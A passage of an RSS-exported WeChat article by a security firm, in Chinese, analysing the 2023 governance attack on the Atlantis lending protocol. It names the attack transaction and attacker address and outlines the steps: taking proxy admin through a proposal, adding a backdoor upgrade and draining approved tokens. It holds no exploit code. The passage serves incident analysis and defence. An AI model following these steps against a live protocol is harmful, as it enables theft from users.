center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">GitHub</span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://github.com/NumenCyber" target="_blank">https://github.com/NumenCyber</a></span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Twitter</span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://twitter.com/@numencyber" target="_blank">https://twitter.com/@numencyber</a></span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">Medium</span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://medium.com/@numencyberlabs" target="_blank">https://medium.com/@numencyberlabs</a></span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-weight: bolder;">LinkedIn</span></section><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 0cm;outline: 0px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-size: 15px;font-family: Calibri, sans-serif;text-align: center;line-height: normal;"><span style="outline: 0px;font-style: italic;"><a href="https://www.linkedin.com/company/numencyber/" target="_blank">https://www.linkedin.com/company/numencyber/</a></span></section></section></span></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486009">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=fbb5a37d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MDcxNTc2NA%3D%3D%26mid%3D2247486009%26idx%3D1%26sn%3D1718998a66e33ccb5efa486de6d3b1e2%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 12 Jun 2023 19:50:00 +0800</pubDate>
    </item>
    <item>
      <title>Web3 安全 | Atlantis 被治理攻击事件分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247486009&amp;idx=2&amp;sn=4c707f7390c2f906db6141f1e3f1c71c</link>
      <description>这种攻击属于治理攻击，利用了代币合约的治理机制来篡改合约的权限，从而获取非法的控制权。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Numen Cyber Labs</span> <span>2023-06-12 19:50</span> <span style="display: inline-block;">北京</span>
</p>

<p>这种攻击属于治理攻击，利用了代币合约的治理机制来篡改合约的权限，从而获取非法的控制权。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=06951480&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0ciaiaGgwBJVKIjUCE54rkxe4llSciaQYhMt4ZNIN1icl1xXDYCW8bbWGW7iamGicaxkSSZ9HAHusWGEvzw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="text-align: left;line-height: 1.75em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5539647577092511" data-s="300,640" style="" data-type="png" data-w="908" src="https://wechat2rss.xlab.app/img-proxy/?k=12907b5c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0ciaiaGgwBJVKIjUCE54rkxe4KM9hBDwpDJ6lCYWJMkrjl8snPGKepEnCHiaql31ZgYtIFjicibzlw9iaBA%2F640%3Fwx_fmt%3Dpng"/></section><section dir="ltr" style="margin: 0px 8px;text-align: left;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">根据 Numen 链上监控显示，Jun-10-2023 09:53:40 AM（+UTC），</span></section><section dir="ltr" style="margin: 0px 8px;text-align: left;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">Atlantis（<a href="https://atlantis.loans/）遭到攻击。" target="_blank">https://atlantis.loans/）遭到攻击。</a></span></section><section dir="ltr" style="margin: 0px 8px;text-align: left;line-height: 1.75em;"><br/></section><section data-role="outer" label="edit by 135editor"><section data-role="title" data-tools="135编辑器" data-id="107815"><section style="margin: 10px auto;text-align: left;line-height: 1.75em;"><section style="display: inline-block;"><section style="background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/vlekRjgqic0ciaiaGgwBJVKIjUCE54rkxe4EAQRAGxwAaoNxdQzzP06nCYBBPqlyibSzvQhIuB4kKI0ibiaobt2Iicgiaw/640?wx_fmt=png&#34;);background-position: left center;background-repeat: no-repeat;background-attachment: initial;background-origin: initial;background-clip: initial;background-size: 127px;padding: 15px 38px 15px 20px;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;color: #fff;"><span style="letter-spacing: 1px;"><strong>事件分析</strong></span></section></section></section></section></section></section><section dir="ltr" style="margin: 0px 8px;text-align: left;line-height: 1.75em;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 15px;color: rgb(48, 56, 65);">攻击交易：</span></strong><span style="font-size: 15px;color: rgb(48, 56, 65);"></span></span></section><section dir="ltr" style="margin: 0px 8px;text-align: left;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);background-color: rgb(214, 214, 214);letter-spacing: 1px;">bscscan.com/tx/0x3b0df86f548946d9dda9fb4177ae27bf33f06315c73ea50945ab9e53a041d7e1</span></section><section dir="ltr" style="margin: 0px 8px;text-align: left;line-height: 1.75em;"><br/></section><section dir="ltr" style="margin: 0px 8px;text-align: left;line-height: 1.75em;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 15px;color: rgb(48, 56, 65);">攻击者地址：</span></strong></span><span style="background-color: rgb(214, 214, 214);color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">bscscan.com/address/0xeade071ff23bcef312dec938ece29f7da62cf45b</span></section><section dir="ltr" style="margin: 0px 8px;text-align: left;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><br/></span></section><section dir="ltr" style="margin: 0px 8px;text-align: left;line-height: 1.75em;"><img class="rich_pages wxw-img" data-ratio="0.3675925925925926" width="602" data-type="png" data-w="1080" height="221" src="https://wechat2rss.xlab.app/img-proxy/?k=4e1e645b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0ciaiaGgwBJVKIjUCE54rkxe4cJwY3PKQxyO9INPZNiasWWCgviaPiclcAN9soxlSW899CRJ0uQ0NHwticw%2F640%3Fwx_fmt%3Dpng"/></section><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="117004"><section data-role="outer" label="edit by 135editor"><section style="line-height: 1.75em;"><section style="display: flex;justify-content: flex-start;align-items: center;margin-top: 20px;margin-bottom: 20px;margin-left: 10px;"><section style="display: flex;align-items: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;"><section style="width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;text-align: left;"><br/></section></section></section><section style="font-size: 16px;color: rgb(51, 51, 51);text-align: left;padding-right: 7px;padding-left: 7px;"><span style="letter-spacing: 1px;"><strong data-brushtype="text">根本原因</strong></span></section></section></section></section></section></section></section><section dir="ltr" style="margin: 0px 8px;text-align: left;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;">攻击者把代币的代理合约的 admin 设置成了自己，再通过更新逻辑合约的方法增加后门函数，最后转移授权过这个合约的用户代币。</span></section><section dir="ltr" style="margin: 0px 8px;text-align: left;line-height: 1.75em;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;"><br/></span></section><section dir="ltr" style="margin: 0px 8px;text-align: left;line-height: 1.75em;"><img class="rich_pages wxw-img" data-ratio="0.5212962962962963" width="602" data-type="png" data-w="1080" height="313" src="https://wechat2rss.xlab.app/img-proxy/?k=82bd3f47&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0ciaiaGgwBJVKIjUCE54rkxe4DDKeTebaDrmlBdeVA2y9JuQibylVzVpMpO7icp8xMZhH05g9Pqr2mziag%2F640%3Fwx_fmt%3Dpng"/></section><section dir="ltr" style="margin: 0px 8px;text-align: left;line-height: 1.75em;"><br/></section><section style="margin: 0px 8px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"></span></section><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="105445"><section style="text-align: center;margin: 10px auto;"><section data-brushtype="text" style="font-size: 22px;letter-spacing: 1.5px;color: #ff4a15;text-align: left;"><span style="font-size: 16px;"><strong>攻击流程</strong></span></section><section style="display: flex;margin-top: 10px;"><section style="display: flex;margin-right: -6px;margin-left: 20px;"><section style="width: 1px;height: 100%;background-color: rgb(255, 74, 21);overflow: hidden;text-align: left;"><br/></section></section><section style="flex: 1;"><section style="display: flex;justify-content: flex-start;align-items: flex-start;"><section style="width: 10px;height: 10px;border-width: 2px;border-style: solid;border-color: rgb(255, 74, 21);border-radius: 50%;margin-top: 10px;margin-right: 15px;background-color: rgb(255, 255, 255);overflow: hidden;text-align: left;"><br/></section><section style="width: 0px;height: 1px;border-top: 8px solid rgb(241, 242, 249);border-left: 8px solid transparent;margin-top: 12px;overflow: hidden;text-align: left;"><br/></section><section style="background-color: rgb(241, 242, 249);padding: 15px;border-radius: 10px;flex: 1 1 0%;"><section data-autoskip="1" style="text-align: justify;line-height:1.75em;letter-spacing: 1.5px;font-size:14px;color:#49494a;background: transparent;"><section style="margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">1.攻击者之所以能够更换合约的 admin，是通过发起治理攻击的方式实现的。具体流程如下：</span></section><section style="margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><p style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;text-align: left;"><br/></p></section><section style="margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">1）攻击者发起提案，建议更换合约的 admin。</span></section><section style="margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><p style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;text-align: left;"><br/></p></section><section style="margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">2）提案被通过后，需要等待时间锁定期。</span></section><section style="margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><p style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;text-align: left;"><br/></p></section><section style="margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">3）时间锁定期结束后，合约的 admin 被成功更换。</span></section><section style="margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><p style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;text-align: left;"><br/></p></section><section style="margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">4）攻击者利用新的 admin 权限进行攻击。</span></section><section style="margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><p style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;text-align: left;"><br/></p></section><p style="text-align: left;margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">这种攻击属于治理攻击，利用了代币合约的治理机制来篡改合约的权限，从而获取非法的控制权。</span></p><p style="text-align: left;margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><br/></span></p><p style="text-align: left;margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="background-color: transparent;color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;"></span><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><img class="rich_pages wxw-img" data-ratio="0.5296296296296297" width="602" data-type="png" data-w="1080" height="319" style="text-align: left;text-wrap: wrap;background-color: rgb(241, 242, 249);letter-spacing: 0.578px;width: 500px;" src="https://wechat2rss.xlab.app/img-proxy/?k=ec6bde5c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0ciaiaGgwBJVKIjUCE54rkxe4oof3wkUUeHZX0GH0x5oL0p8re7y8biaVEsWgqx7OiazPTARVhRer6a9g%2F640%3Fwx_fmt%3Dpng"/></span></p></section></section></section><section style="display: flex;justify-content: flex-start;align-items: flex-start;margin-top: 20px;"><section style="width: 10px;height: 10px;border-width: 2px;border-style: solid;border-color: rgb(255, 74, 21);border-radius: 50%;margin-top: 10px;margin-right: 15px;background-color: rgb(255, 255, 255);overflow: hidden;text-align: left;"><br/></section><section style="width: 0px;height: 1px;border-top: 8px solid rgb(241, 242, 249);border-left: 8px solid transparent;margin-top: 12px;overflow: hidden;text-align: left;"><br/></section><section style="background-color: rgb(241, 242, 249);padding: 15px;border-radius: 10px;flex: 1 1 0%;"><section data-autoskip="1" style="text-align: justify;line-height:1.75em;letter-spacing: 1.5px;font-size:14px;color:#49494a;background: transparent;"><p style="text-align:left;margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="letter-spacing: 1px;font-size: 15px;">2.从下往上依次涉及的步骤是：</span></p><p style="text-align:left;margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><br/></p><p dir="ltr" style="text-align:left;margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);">- 发起提案 </span></p><p dir="ltr" style="text-align:left;margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><br/></p><p dir="ltr" style="text-align:left;margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);">- 投票 </span></p><p dir="ltr" style="text-align:left;margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><br/></p><p dir="ltr" style="text-align:left;margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);">- 进入时间锁定队列 </span></p><p dir="ltr" style="text-align:left;margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><br/></p><p dir="ltr" style="text-align:left;margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);">- 在执行提案之前等待 172,800 秒 </span></p><p dir="ltr" style="text-align:left;margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><br/></p><p dir="ltr" style="text-align:left;margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);">- 将自己设置为项目中所有代币的代理合约管理员（setpendingadmin） </span></p><p dir="ltr" style="text-align:left;margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><br/></p><p dir="ltr" style="text-align:left;margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);">- 最后调用 accept</span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><img class="rich_pages wxw-img" data-ratio="0.25833333333333336" width="602" data-type="png" data-w="1080" height="156" style="text-align: left;text-wrap: wrap;background-color: rgb(241, 242, 249);letter-spacing: 0.578px;width: 484px;" src="https://wechat2rss.xlab.app/img-proxy/?k=ae4548cf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0ciaiaGgwBJVKIjUCE54rkxe4HdVSgDuYds8XpJhZ4OSLGv4az9Zq0Yf4gOIZiaoUQooia4kzibz2lex6A%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section></section></section></section></section><section data-tools="135编辑器" data-id="105445"><section style="text-align: center;margin: 10px auto;"><section style="display: flex;margin-top: 10px;"><section style="display: flex;margin-right: -6px;margin-left: 20px;"><section style="width: 1px;height: 100%;background-color: rgb(255, 74, 21);overflow: hidden;text-align: left;"><br/></section></section><section style="flex: 1;"><section style="display: flex;justify-content: flex-start;align-items: flex-start;"><section style="width: 10px;height: 10px;border-width: 2px;border-style: solid;border-color: rgb(255, 74, 21);border-radius: 50%;margin-top: 10px;margin-right: 15px;background-color: rgb(255, 255, 255);overflow: hidden;text-align: left;"><br/></section><section style="width: 0px;height: 1px;border-top: 8px solid rgb(241, 242, 249);border-left: 8px solid transparent;margin-top: 12px;overflow: hidden;text-align: left;"><br/></section><section style="background-color: rgb(241, 242, 249);padding: 15px;border-radius: 10px;flex: 1 1 0%;"><section data-autoskip="1" style="text-align: justify;line-height:1.75em;letter-spacing: 1.5px;font-size:14px;color:#49494a;background: transparent;"><section dir="ltr" style="margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;text-align: left;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">3.随后，攻击者修改了代理合约的实现逻辑，增加了后门功能，将与合约交互的用户的授权资产进行转移，以牟利。 </span></section><section dir="ltr" style="margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;text-align: left;line-height: 1.75em;"><p style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;text-align: left;"><br/></p></section><p style="text-align:left;margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;">值得注意的是，投票过程并没有在攻击中起到显著的作用。</span></p><p style="text-align:left;margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><br/></p><p style="text-align:left;margin-right: 8px;margin-left: 8px;color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(48, 56, 65);letter-spacing: 1px;"><img class="rich_pages wxw-img" data-ratio="0.7454068241469817" width="602" data-type="png" data-w="762" height="448" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=a81574ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0ciaiaGgwBJVKIjUCE54rkxe4DzaMia3wE7DJhGlfPwhBYU87MYrdfPr4cGVFvoYczyKQ8kvrmiaqMDzw%2F640%3Fwx_fmt%3Dpng"/></span></p></section></section></section><section style="display: flex;justify-content: flex-start;align-items: flex-start;margin-top: 20px;"><section style="width: 10px;height: 10px;border-width: 2px;border-style: solid;border-color: rgb(255, 74, 21);border-radius: 50%;margin-top: 10px;margin-right: 15px;background-color: rgb(255, 255, 255);overflow: hidden;text-align: left;"><br/></section><section style="width: 0px;height: 1px;border-top: 8px solid rgb(241, 242, 249);border-left: 8px solid transparent;margin-top: 12px;overflow: hidden;text-align: left;"><br/></section><section style="background-color: rgb(241, 242, 249);padding: 15px;border-radius: 10px;flex: 1 1 0%;"><section data-autoskip="1" style="text-align: justify;line-height:1.75em;letter-spacing: 1.5px;font-size:14px;color:#49494a;background: transparent;"><p style="margin-left: 8px;margin-right: 8px;text-align: left;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;text-align: left;">4.关键的一步是将提案放入队列，它只检查“eta”参数（解锁时</span><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;text-align: left;">间）并且在进入队列时始终具有 0 值，</span><span style="background-color: transparent;color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;text-align: left;">这允许攻击者在指定的时间锁定期后执行提案。</span></p><p style="margin-left: 8px;margin-right: 8px;text-align: left;"><br/></p><p style="margin-left: 8px;margin-right: 8px;text-align: left;"><span style="color: rgb(48, 56, 65);font-size: 15px;letter-spacing: 1px;text-align: left;"><img class="rich_pages wxw-img" data-ratio="0.17037037037037037" width="602" data-type="png" data-w="1080" height="103" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;letter-spacing: 0.578px;width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=76b53633&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0ciaiaGgwBJVKIjUCE54rkxe42E9RHzyPeHwiaxqg37IS4hhUwiaq0R97OQibKCia7BXUA9PUJCCsU8yrUQ%2F640%3Fwx_fmt%3Dpng"/></span></p></section></section></section></section></section></section></section><section data-role="paragraph"><p style="text-align: left;"><br/></p><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="124203"><section style="margin: 10px auto;display: flex;justify-content: center;"><section style="background-image: linear-gradient(to right, rgb(248, 34, 34), rgb(210, 1, 16));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding: 2px 10px;"><section style="font-size: 16px;color: #ffffff;text-align: center;"><strong data-brushtype="text">END</strong></section><section style="width: 100%;border-top: 2px solid rgb(255, 232, 170);height: 2px;overflow: hidden;" data-width="100%"><br/></section></section></section></section><section data-role="paragraph"><p><br/></p><p><br/></p><section data-role="outer" label="edit by 135editor"><section data-tools="135编辑器" data-id="122336"><section style="margin: 10px auto;"><section style="display: flex;justify-content: flex-end;margin-bottom: -29px;"><section style="width: 25px;height: 0px;overflow: hidden;"><br/></section></section><section style="margin-right: 10px;margin-left: 10px;"><section style="width: 100%;border-bottom: 1px solid rgb(255, 216, 68);height: 1px;overflow: hidden;" data-width="100%"><br/></section><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(71, 71, 71);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding: 10px 15px;"><section data-tools="135编辑器" data-id="117004"><section data-role="outer" label="edit by 135editor"><section data-role="title" data-tools="135编辑器" data-id="117004"><section style="display: flex;justify-content: flex-start;align-items: center;margin-top: 20px;margin-bottom: 20px;margin-left: 10px;"><section style="display: flex;align-items: center;"><section style="display: flex;align-items: center;"><section style="flex-shrink: 0;"><section style="width: 4px;height: 20px;background-color: rgb(238, 108, 98);border-radius: 15px;overflow: hidden;"><br/></section></section></section><section style="font-size: 16px;color: rgb(51, 51, 51);text-align: center;padding-right: 7px;padding-left: 7px;"><strong data-brushtype="text">关于Numen Cyber</strong></section></section></section></section></section></section><p><br/></p><p>Numen Cyber 是链上威胁检测与防御的先驱，团队成员拥有在亚马逊、华为、百度、奇虎360等众多知名大厂与 OKlink，知道创宇，成都链安等知名 Web3 主体安全岗位从业经历。</p><p><br/></p><p>拥有 Web2+Web3 多重安全技能储备的 Numen Cyber 旗下拥有 ImmunX 和 Leukocyte 两款安全产品，分别可在应用层和物理层为 Web3 项目提供保护。其中 ImmunX 包含安全策略开放市场和合约防火墙等独创功能，可以为 Web3 生态提供一站式全方位的保护；Leukocyte 则是保护服务器安全，实时检测黑客针对服务器的各种攻击并自动阻断、报警。</p><p><br/></p><p>目前 Numen Cyber 的合作伙伴包括不限于 Binance，Sui，Cobo，BitForex，ChainUp，Suiet 等，也包括新加坡金融管理局、新加坡国立大学、中国移动，以及阿里云、腾讯云、华为云、亚马逊、微软等。</p><p><br/></p></section><section style="width: 100%;border-top: 1px solid rgb(255, 216, 68);height: 1px;overflow: hidden;" data-width="100%"><br/></section></section></section></section><section data-role="paragraph"><section data-style="margin-right: 0cm; margin-bottom: 16px; margin-left: 0cm; outline: 0px; max-width: 100%; color: rgb(34, 34, 34); letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(34, 34, 34); font-size: 15px; font-family: Calibri, sans-serif; text-align: center; line-height: normal; box-sizing: border-box !important; overflow-wrap: break-word !important;" style="margin-right: 0cm;margin-bottom: 16px;margin-left: 